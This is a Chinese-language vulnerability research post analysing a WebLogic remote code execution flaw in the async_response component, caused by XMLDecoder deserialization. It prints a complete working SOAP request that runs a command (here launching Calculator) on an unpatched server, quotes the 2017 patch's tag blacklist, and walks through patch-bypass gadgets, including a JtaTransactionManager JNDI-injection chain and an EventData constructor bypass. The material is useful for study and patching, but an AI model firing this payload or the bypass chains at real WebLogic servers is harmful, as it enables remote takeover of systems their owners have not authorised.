在4月17,cnvd通报了一个weblogic的rce漏洞, 链接在此
发现是由于async_response这个war包导致的,乍一看这个洞就跟2017的wsat组件很相似。都是因为xmldecoder反序列化导致的rce。
首先给出调用栈:
BaseWSServlet (service)->BaseWSServlet (run)
->SoapProcessor (process)->WsSkel (invoke)
->ServerDispatcher (dispatch)->HandlerIterator (handleRequest)
->WorkAreaServerHandler (handleRequest)
->WorkContextLocalMap (receiveRequest)
->WorkContextEntryImpl (readEntry)->readUTF->readObject
然后就是动态调试过程了。
首先将weblogic以debug模式启动,然后idea导入jar包并attach上就可以动态调试了。
调用栈给出来了,其实流程就不需要怎么细说了。主要说一下poc构造中的几个注意的点。
在HandlerIterator中调用handleRequest函数时,有一个for循环来遍历hanlders,如图所示:
首先看一下这个this.handlers的值:
有三个handler是我们需要注意的,第一个是ServerAddressingHandler。这个Hanlder组装我们soap中的各种元素并设置,比如Action和RelatesTo。
第二个就是AsyncResponseHandler。这个中会判断是否存在RelatesTo。如果没有就直接return false了。
所以我们在poc中要设置addressing.RelatesTo和addressing.Action。
第三个就是在WorkAreaServerHanlder中进行xmldecoder的反序列化。也就是真正的rce触发点了。关于WorkAreaServerHanlder如何触发xmldecoder的反序列化,这里我就不赘述,大家可以去看CVE-2017-10271的分析, 链接在此
几个注意事项都说了,然后就是根据wsdl文件来组建soap消息了。wsdl文件内容如下:
所以最后得出来的最基础的poc如下
POST /_async/AsyncResponseService HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2 Accept-Encoding: gzip, deflate Content-Type: text/xml Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 820 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>test</wsa:Action> <wsa:RelatesTo>test</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery> </soapenv:Body> </soapenv:Envelope>
上述poc的局限性非常大,如果打了2017年十月份补丁的,这个poc是打不了的,由于手上并没有具体的补丁,所以只能靠网上给出的核心补丁代码进行分析:
public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase(“object”)){ throw newIllegalStateException(“Invalid element qName:object”); } else if(qName.equalsIgnoreCase(“new”)){ throw newIllegalStateException(“Invalid element qName:new”); } else if(qName.equalsIgnoreCase(“method”)){ throw newIllegalStateException(“Invalid element qName:method”); } else { if(qName.equalsIgnoreCase(“void”)) { for(int attClass = 0; attClass< attributes.getLength(); ++attClass) { if(!”index”.equalsIgnoreCase(attributes.getQName(attClass))) { throw newIllegalStateException(“Invalid attribute for element void:” +attributes.getQName(attClass)); } } }
这里最尴尬的其实就是对于void标签的过滤,导致void标签里除了index外不能有其他属性值,所以上述的poc就不能用了,也不能自由调类的静态函数啥的了,但是我们仍然可以调用类的构造函数来实现绕过。类的构造函数有这么几种情况是可以利用的:
其实找利用是一个很费劲的活儿。跟小组小伙伴一起寻找了一番。其实第三种我觉得是基本不可能的,曾经对第一种希望很大,但是也并没有找到,最终找到的可能利用的类如下:
然后分别来看一下这三个类的构造函数到底是怎样的。
UnitOfWorkChangeSet:
构造函数传入byte,然后进行二次反序列化,可以绕过。但是进一步利用仍然需要找一个pop链才行,以为yso里会有可用的,比较了一番.除了一个jdk7u21的..发现好像并没有,但jdk7u21限制太大了,需要再找找更好用的。
最终盯上了
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类的readObject方法,看一下具体内容:
readObject中调用了一个initUserTransactionAndTransactionManager方法,跟进去看看:
这里将this.userTransactionName传递到了lookupUserTransaction函数中,继续跟进查看:
调用lookup,可以造成jndi注入。因此该pop链可用,虽然也会受到jdk版本的限制,但是比那个jdk7u21好得多了。
MapMsgEntity
这个类的构造函数如下:
这个类乍一眼看跟上个类差不多,也是传递进来一个byte数组然后二次反序列化。
但是在实际测试测时候发现了有问题,会报这个错误:
经过排查,是因为xmldecoder用的 getConstructors,只能返回public构造函数。而该类的构造函数未被public声明,所以会找不到,因此该类无法利用。
EventData
这个类的利用可谓是简单粗暴,构造函数如下:
是不是很眼熟?对,就是类似一个"二次漏洞触发点"这种操作。所以这个是最好用的,不用受到jdk版本限制,但是比较可惜的是,这个类只在12.1.3版本中存在,在10.3.6中并没有。
FileSystemXmlApplicationContext
其实当时以为可以直接用FileSystemXmlApplicationContext的gadget来打。但是实践后发现并不行, 发现好像跟jackson的那个利用还是有区别,就是少了分析表达式的那一步。导致并不能利用,看一下这两者代码的区别:
有点迷醉….唯独少了这一行代码…感觉是不行的。
weblogic针对绕过发布了新的补丁,补丁让人比较难受的一点,就是把class标签给过滤掉了:
所有后续看看还能不能绕吧….
虽然可以绕过,但是几种方法,要么受weblogic版本限制,要么受jdk版本限制。并没有找到一个通用的Poc。比较遗憾。
感谢D0g3-Team的小伙伴(Lucifaer,orich1)的帮助。